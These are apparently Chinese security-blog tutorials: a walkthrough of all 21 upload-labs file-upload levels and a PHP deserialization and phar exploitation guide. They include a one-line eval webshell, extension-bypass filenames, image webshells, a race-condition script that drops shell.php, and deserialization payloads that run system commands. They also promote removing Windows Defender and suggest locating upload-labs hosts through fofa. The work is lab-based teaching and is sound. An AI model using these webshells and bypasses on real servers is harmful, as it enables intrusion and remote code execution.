不多废话,直接上理论呛死你(❍ᴥ❍ʋ)什么是文件上传漏洞?环境靶场:upload-labs服务器:centos7数据库:mysql5.7php:5.5nginx:1.24在开始之前先介绍一款windows defender卸载工具,提高渗透效率,不然文件上传成功就被杀了,文章在这儿,使用方法和下载链接很详细https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w漏洞简介文件上传漏洞通常发生在程序设计中,由于对用户上传文件的处理不当或存在缺陷,导致用户能够绕过权限限制,向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在,但服务器对上传文件的处理和解释方式不当,可能会引发严重后果。高危触发点在任何提供文件上传功能的应用中,都可能存在文件上传漏洞的风险,例如在相册、头像上传、视频和照片分享等场景中。此外,论坛发帖和电子邮件附件上传等功能,也是文件上传漏洞的高风险区域。同样,文件管理器等工具也可能成为攻击者利用的目标。注意:移动设备同样面临着文件上传漏洞的威胁。漏洞复现upload-labs(1-21关)第一关(前端验证)由于靶场配置必须要使用php5.2版本才能正常运行,建议去https://fofa.info/找到描述为upload-labs的ip地址进入即可在开始闯关之前我们需要用到一句话木马,php文件代码如下<?php @eval($_POST['shell']);?>第一关因为是进行前端JS校验,分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件。但是更改为return true之后还是在提示文件类型不正确这时候我们把js复制下来,打开浏览器控制台,并回车,直接重置checkFile()这个同名函数,使js执行俩次。上传成功。使用中国蚁剑测试,连接密码就是你php post请求的shell参数第二种方法就是禁用浏览器的javascript木马上传成功第二关(MIME验证)使用抓包工具,抓到了包,第一关是抓不到的,我们把上传的jpg文件修改为php即可上传成功第三关(黑名单验证,特殊后缀)将文件后缀修改为php1,php2即可不过需要注意,上传成功后文件名称改变了第四关(黑名单验证,.htaccess)通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名,我们可以上传一个htaccess文件,让文件所在位置的目录下文件被php解析。使用前提要在apache下的httpd.conf文件更改。启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。打开httpd.conf文件用文本编辑器打开后,查找更改为重启Apache,上传.htaccess文件,然后再上传phpinfo的jpg文件.htaccess文件内容如下setHandler application/x-httpd-php复现失败!(。◕ ∀ ◕。) ,哈哈哈哈,好像要特定的环境,自己去找找资料吧,小编我也找了好久没出来。不急,还有第二种发方法,windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容不愧是中国蚂蚁,over!第五关(黑名单验证,.user.ini.)和第四关一样php. .第六关(黑名单验证,大小写绕过)这一关同样是后端黑名单,.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单把.php 格式改为.Php上传上去之后,就会自动解析为.注意上传成功后的真实的文件地址。第七关(黑名单验证,空格绕过)仔细分析源代码,容易发现代码中并没有把空格去掉$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }使用burp suite劫持包在文件后缀添加一个空格,上payload,filename="myscript.php "上传成功第八关(黑名单验证,点号绕过)这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即scirpt.php.。第九关(黑名单验证,特殊字符::$DATA绕过)php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。第十关(黑名单)分析源码,源码中使用deldot()函数,即字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。提示:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来echo deldot("hello world")."n"; echo deldot("hello world.")."n"; echo deldot("hello world....")."n"; echo deldot("hello.world.")."n"; //输出结果为 hello world hello world hello world hello.world第十关源码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }第十一关(黑名单验证,双写绕过)str_ireplace 是 PHP 中的一个函数,它用于将字符串中的某些部分替换为其他字符串,并且对大小写不敏感。$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }通过源码我们可以发现,他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="info.pphphp"。上传成功第十二关(get00截断)这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。第十三关(post 00截断)使用00截断的几个前提条件:PHP版本 < 5.3.4magic_quotes_gpc关闭。如果启用了magic_quotes_gpc,PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符,这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。第十四关(图片马unpack)源码通过分析上传文件的前两个字节来识别其类型,并据此重命名文件。我们使用cmd命令opy 777.avif/b + zoe.php pass14.avif创建了一个隐藏PHP代码的图片文件。用文档打开2.jpg,发现合并成功。上传此图片木马后,并且通过文件包含漏洞触发并执行其中的PHP代码,而包含页面的链接已经给出。下面这段代码中通过获取URL中的file参数,进行文件包含。执行图片文件。出现如下错误问题显示在行8,我们去查看一下第八行是什么内容。<?这个符号,不就是php的脚本符号嘛,把它删掉,再次包含执行jpg文件文件包含执行成功,此时即可使用中国蚂蚁连接第十五关(getimagesize图片马)分析源码function isImage($filename){ $types = '.jpeg|.avif|.gif'; if(file_exists($filename)){ //获取图片的尺寸信息 $info = getimagesize($filename); //检查前俩个字节是否输入图片 $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }我们发现仅仅只做了图片的判断,并没有对我们图片马,进行限制。所以照样可以用14关的通关方法,进行getshell第十六关(exif_imagetype图片马)分析源码//进行文件类型判断 function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }也是一样进行文件类型判断,没有对图片马进行判断,照样可以使用第14关的绕过方法。第十七关(二次渲染绕过)在这一环节,上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。注意:对于做文件上传之二次渲染建议用GIF图片,这里小编为大家准备了一个GIF马,大家自行提取百度网盘提取码:1212 https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212上传指定马后使用中国蚂蚁连接。连接成功第十八关(条件竞争一)查看提示审计代码$is_upload = false; $msg = null; if(isset($_POST['submit'])){ //定义一个数组,用来保存允许上传图片的后缀 $ext_arr = array('jpg','png','gif'); //获取文件名称 $file_name = $_FILES['upload_file']['name']; //临时文件 $temp_file = $_FILES['upload_file']['tmp_name']; //使用substr截取文件后缀 $file_ext = substr($file_name,strrpos($file_name,".")+1); //上传的文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; //将临时的文件,移动到新位置。 if(move_uploaded_file($temp_file, $upload_file)){ //如果问及那的后缀在数组ext_arr中就上传图片 if(in_array($file_ext,$ext_arr)){ //定义图片上传路径名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //修改文件名称,为上传路径名 rename($upload_file, $img_path); //上传 $is_upload = true; }else{ $msg = "只允许上传.jpg|.avif|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }通过分析,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。将一句话代码更改为如下内容。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder清除所有的payload提示:进行下一步操作前,千万要注意,就是不要把BP的拦截功能关闭了,要一直保持拦截状态,才有更好的效果。接着设置无限发送空的Payloads,来让它一直上传该文件最后建议这里把线程设置高一点,提高练习渗透效率然后我们写一个Python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件)import requests def main(): url='http://192.168.209.131/upload/myscript.php' while True: res = requests.get(url) print('未找到php文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()开始攻击了在BP攻击的同时我们也要运行Python脚本,目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。测试连接,over!第十九关(条件竞争二)上传GIF测试发现路径少了一个/,应该是开发者少添加了一个斜杠,去服务器把源文件改下从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。建立一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>制作图片马上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)注意上传的是图片马就行。Python脚本import requests def main(): url='http://192.168.209.131/upload/pass19.avif' while True: res = requests.get(url) print('未找到png文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()过程参考第十八关。注意蚂蚁连接的文件是注入的一句话木马创建的文件。第二十关(黑名单)有俩种方法,使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。在php中move_uploaded_file有一个特性修改上传文件名称为upload-19.php/.上传成功蚂蚁宝宝测试,over!第二十一关这一关是利用数组绕过验证上传成功后观察上传成功的URL,多了个jpg那么我们使用第二个数组呢,岂不是就变为xxx.php.了查看上传成功的URL上传成功!总结文件上传漏洞通常源于Web应用未对上传文件进行严格校验,导致恶意用户可能上传执行脚本,从而控制应用。通过upload-labs等实战平台,可以学习多种防护和绕过技巧。防御措施包括:隐藏上传文件路径,避免暴露。禁止上传文件的执行权限。实施文件类型白名单和黑名单策略。重命名上传文件,降低被猜测的风险。对上传文件进行内容二次处理。检查文件内容,确保安全。根据系统特性,定制化安全防护策略。欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢阅读!原文链接https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg
2025年05月18日
1,955 阅读
0 评论
0 点赞
2025-05-18
PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
前言本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。序列化介绍序列化是指将变量转换为一种可保存或传输的字符串形式的过程;而反序列化则是在需要的时候,将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成,为数据的存储和传输提供了极大的便利,同时也使得程序更加易于维护和扩展。例子将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo '</br>'; // 序列化:serialize将php的遍历变量(数组、对象等)转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo "</br>"; // 因为我们需要使用url进行测试,所以将这个转化后的字符串进行url编码,便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D get.php进行反序列化,将上面进行url编码的内容传到这个php,进行反序列化(将字符串还原成对象)<?php $html =unserialize($_GET['html']); echo $html; 在上面的代码中我们可以看到序列化之后的内容为,将其进行分段详细解析O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值 private和 protected详解//protected举例 class Animal { protected $name; //构造函数,即当你创建一个新对象时,这个方法会自动被调用,用于被初始化对象。 //构造函数可以接收参数,这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected function getName() { echo $this->name ." 小羽网安"; } } ///extends继承 class Dog extends Animal { public function __construct($name) { //调用父类的构造函数 parent::__construct($name); } // public function introduce() // { // //调用父类的eat方法 // parent::getName(); // echo $this->name ." Dog类别的输出"; // } public function getDog() { $this->getName();//调用继承类的getName方法 echo '<br/>继承之后,继续调用的函数'; } } $myDog=new Dog("<br/>hellow"); $myDog->getDog(); //hellow 小羽网安<br/>继承之后,继续调用的函数 $myName=new Animal("游不动的小鱼丶"); //$myName->getName();//无法从外部访问这个成员,Fatal error: Uncaught Error: Call to protected method Animal::getName() from context //$myDog->getName();//无法从继承之后的类访问这个成员Fatal error: Uncaught Error: Call to protected method Animal::getName() from context ?> PHP在序列化含有private和protected权限的变量时,会在变量名前添加ASCII码为0的不可见字符,表现为%00类名%00属性名和%00*%00属性名。这些字符在显示和输出时可能不易察觉,甚至导致数据截断。为了清晰查看,可将序列化后的字符串进行urlencode编码后打印输出。案例,直接将我们url编码的结果复制到解码工具,会发现每个protected、private属性前面会有个�这个符号就是%00PHP常见的魔术方法__construct用于在创建对象时自动调用,主要用于初始化对象。<?php //声明一个类为Person class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // 一个普通的方法,用于显示信息 public function displayInfo() { echo "Name: " . $this->name . ", Age: " . $this->age . "<br>"; } } // 创建Person对象 $person1 = new Person("John", 30); $person2 = new Person("Jane", 25); // 调用方法显示信息 $person1->displayInfo(); // 打印:Name: John, Age: 30 $person2->displayInfo(); // 打印:Name: Jane, Age: 25 ?> __destruct它在对象被销毁时自动调用。这通常发生在对象的所有引用都被删除或者脚本执行结束时。__destruct() 方法常用于执行一些清理操作,比如关闭文件、释放资源等。<?php class Person { public $name; // 构造函数 public function __construct($name) { $this->name = $name; echo "构造函数被调用,对象 {$this->name} 被创建。<br>"; } // 析构函数 public function __destruct() { echo "析构函数被调用,对象 {$this->name} 被销毁。<br>"; } } // 创建Person对象 $person = new Person("John"); // 脚本结束时,$person 对象会被自动销毁,此时会调用 __destruct() 方法 ?> __toString它允许一个类对象在被当作字符串处理时自动调用该方法,并返回该对象的一个字符串表示。这通常用于调试目的,或者当你需要将对象以字符串形式输出时。<?php class Person { public $name; public $age; // 构造函数 public function __construct($name, $age) { $this->name = $name; $this->age = $age; } // __toString() 方法 public function __toString() { return "Person Object (Name: {$this->name}, Age: {$this->age})"; } } // 创建Person对象 $person = new Person("John", 30); // 当对象被当作字符串处理时,__toString() 方法会被自动调用 echo $person; // 打印:Person Object (Name: John, Age: 30) ?> __invoke允许一个对象像函数那样被调用。当你尝试以调用函数的方式调用一个对象时(例如,$obj()),__invoke() 方法会被自动调用。<?php class Greeter { public $name; // 构造函数 public function __construct($name) { $this->name = $name; } // __invoke() 方法 public function __invoke() { echo "Hello, {$this->name}!<br>"; } } // 创建Greeter对象 $greeter = new Greeter("World"); // 当对象被当作函数调用时,__invoke() 方法会被自动调用 $greeter(); // 打印:Hello, World! ?> __call它在尝试调用一个对象中不可访问的方法时被调用。class MyClass { private function myPrivateMethod($param1, $param2) { echo "调用了一个私有方法:$param1, $param2\n"; } public function __call($name, $arguments) { if ($name === 'myPrivateMethod') { return $this->myPrivateMethod($arguments[0], $arguments[1]); } else { echo "尝试调用的方法 '$name' 不存在。\n"; } } } $obj = new MyClass(); $obj->myPrivateMethod('Hello', 'World'); // 调用私有方法 $obj->myNonExistingMethod('Foo', 'Bar'); // 尝试调用不存在的方法 __sleep它在对象被序列化时调用。(序列化:将一个对象转化为字符串。)class MyClass { public $prop1 = 'value1'; public $prop2 = 'value2'; private $prop3 = 'value3'; public function __sleep() { // 返回不需要被序列化的属性名称数组 return array('prop2'); } } $obj = new MyClass(); $serialized = serialize($obj); echo $serialized; // 输出序列化后的字符串,其中不包含 $prop2 一.初步认识写入反序列化文件index.php,通过传参让页面出现phpinfo页面class one { var $b="phpinfo();"; function action() { eval($this->b);//eval:用于执行一段php代码字符串。 } } $a=unserialize($_GET['obj']);//将获取到的参数进行反序列化 $a->action();//执行这个方法 分析payloadO:3:"one":1:{s:1:"b";s:10:"phpinfo();";} 新建一个序列化test.php文件用于存放预构造的代码<?php class one { var $b='eval($_GET[2]);'; function action() { eval($this->b); } } $a=new one(); $a->action(); echo serialize($a);//实例化一个对象,将其序列化的内容打印出来 得到其序列化的结果,在我们的页面最下面我们将他反序列化-->index.php进行传参很好,能得到我们的结果,如果你疑问是不是index.php代码中包含了phpinfo(),所以他才能执行emmm,完全不需要顾虑,我们来验证这个结论,把这个自定义代码删掉嗯,很好,验证了我们的结论,这个反序列化漏洞,是可以进行任意代码执行的注意前面那个s,代表着你执行的代码字符串长度,大于或者小于这个长度,都是执行不了的当然也可以使用这种payloadhttp://127.0.0.1/index.php?obj=O:3:"one":1:{s:1:"b";s:15:"eval($_GET[2]);";}&2=echo system('whoami'); 在考虑完过滤等先决条件后,找到可控点,构造成我们想要执行的代码,将其反序列化利用。这个过程不要去看原来代码想要执行的,关键是去构造你要执行的二.简单利用简单利用反序列化index.php代码参考:<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; function __construct() { $this->a = new one(); } function __destruct() { $this->a->action(); } } unserialize($_GET[1]); 新建一个test.php用于获取序列化结果,获取我们的参数<?php class one { var $b = 'echo 123;'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:9:"echo 123;";}} 这时候再回到我们index.php可以正常执行代码,那么我们在test.php修改我们的payload为执行系统命令whoami,获取反序列化的攻击载荷<?php class one { var $b = 'system("whoami");'; function action() { eval($this->b); } } class Student { var $a; //构造函数,对象被实例化即new的时候调用 function __construct() { $this->a = new one(); } //折构函数:被销毁时候调用 function __destruct() { $this->a->action(); } } $one = new Student(); echo serialize($one);//O:7:"Student":1:{s:1:"a";O:3:"one":1:{s:1:"b";s:17:"system("whoami");";}} 复制这个结果,使用具有反序列化漏洞的index.php进行传参三、相关绕过任务:访问当前目录的1.txt文件构造环境创建一个1.txt文件,输入任意内容,通过反序列化读取文件内容。习题代码<?php @error_reporting(1); echo $_GET['data']; class baby { public $file; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } if (isset($_GET['data'])) { $data = $_GET['data']; preg_match('/[oc]:\d+:/i',$data,$matches); if(count($matches)) { die('Hacker!'); } else { $good = unserialize($data); echo $good; } } else { highlight_file("./test4.php"); } ?> 这段PHP代码包含两部分:上部分定义了一个baby类,包含一个file属性和一个__toString魔术方法,用于读取并返回文件内容。下部分接收GET请求中的data参数,进行过滤后反序列化,并打印结果。理解这两部分的关系,特别是类的序列化形式,对于执行预期操作至关重要。既然上半部分定义了类,下半部分只是过滤的代码,可以将上半部分抽离出来,查看序列化的结果,以便于反序列化同上面一样构造序列化test.php<?php @error_reporting(1); echo $_GET['data']; class baby { //构造你要读取的文件 public $file="1.txt"; function __toString() { if(isset($this->file)) { $filename = "./{$this->file}"; if (file_get_contents($filename)) { return file_get_contents($filename); } } } } echo serialize(new baby()); .过滤:代码块中通过正则,不区分大小写的o,c字符,去匹配字符的冒号后的数字来做校验可以通过+4等价代替 4 从而绕过检测(+ url编码为%2b)payload O:%2b4:"baby":1:{s:4:"file";s:5:"1.txt";} 四、开始上手任务:读取 flag.游不动的鱼宝丶class A { public $mod1; public $mod2; //对象销毁之后调用 public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; //__call尝试调用一个对象中不可访问的方法时被调用。 public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; //__invoke允许一个对象像函数那样被调用 public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $a = $_GET['obj']; unserialize($a); 我们来分析代码,E类中的魔术方法调用了GetFlag类中的方法这里的字符串拼接,调用了__toString魔术方法C类中的成员以函数的形式调用了自己的成员B类中的函数调用了C类中的$test2成员最后销毁代码构造: 通过 __construct()魔术方法,创建对象的时候自动调用 / 即在每一个类中都添加一个构造方法<?php class A { public $mod1; public $mod2; //通过 __construct()魔术方法,创建对象的时候自动调用 public function __construct() { $this->mod1 = new B(); } public function __destruct() { $this->mod1->test1(); } } class B { public $mod1; public $mod2; public function __construct() { $this->mod1 = new C(); } public function test1() { $this->mod1->test2(); } } class C { public $mod1; public $mod2; public function __construct() { $this->mod1 = new D(); } public function __call($test2, $arr) { $s1 = $this->mod1; $s1(); } } class D { public $mod1; public $mod2; public function __construct() { $this->mod1 = new E(); } public function __invoke() { $this->mod2 = "字符串拼接" . $this->mod1; } } class E { public $str1; public $str2; public function __construct() { $this->str1 = new GetFlag(); } public function __toString() { $this->str1->get_flag(); return "1"; } } class GetFlag { public function get_flag() { echo "flag:" . "游不动的鱼宝丶"; } } $c = new A; echo serialize($c);//O:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 序列化输出结果得到payloadO:1:"A":2:{s:4:"mod1";O:1:"B":2:{s:4:"mod1";O:1:"C":2:{s:4:"mod1";O:1:"D":2:{s:4:"mod1";O:1:"E":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;} 使用具有该反序列化漏洞的index.php总结:从习题中不难看出, 漏洞的主要的原因就是在反序列化的过程中,通过我们的恶意篡改会产生魔法函数绕过,字符逃逸,远程命令执行等漏洞。Phar文件和Phar协议前言在PHP应用中,随着代码安全性的提升,直接利用unserialize()函数的反序列化漏洞变得越来越困难。为了绕过这一限制,攻击者开始利用PHAR文件存储用户自定义元数据为序列化的特性,为反序列化漏洞的攻击提供了新的途径。即使在没有直接的unserialize()调用或缺乏传参接口的情况下,攻击者仍可以通过可控的文件系统函数,配合phar://伪协议,实现不依赖unserialize()的直接反序列化操作。攻击者只需构造包含恶意代码的PHAR文件并上传到目标网站,然后通过特定方式触发反序列化,即可达到攻击目的。phar文件详解Phar文件是一种PHP归档格式,用于将多个PHP代码文件及其他资源(如图像、样式表等)打包成一个文件,便于应用程序和库的分发。其独特之处在于,它会以序列化的形式存储用户自定义的meta-data。当文件操作函数处理phar文件时,会自动触发meta-data的反序列化过程。phar文件分为四层Stub(存根):Phar文件的文件头,必须以<?php xxx __HALT_COMPILER(); ?>结尾,其中xxx可以是自定义的任何字符,如果不定义则默认为<?php __HALT_COMPILER(); ?>。Manifest(清单):包含了压缩文件的权限、属性以及序列化形式存储的用户自定义元数据等信息。在利用Phar反序列化漏洞时,Manifest中的序列化字符串是攻击的主要目标。Contents(内容):包含了实际的文件内容,比如PHP脚本、图片、样式表等应用程序正常运行所需的其他文件。这些文件在Phar文件中被压缩存储,以节省空间并便于分发。Signature(签名)(可选):验证Phar文件的完整性和真实性。生成phar文件1.准备环境1.1Phar需要 PHP >= 5.2 1.2在php.ini中将phar.readonly设为Off(注意去掉前面的分号)php配置具体index.php代码,phar文件生成<?php class AnyClass{ var $output = 'phpinfo();'; function __destruct() { eval($this -> output); } } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub $o = new AnyClass(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 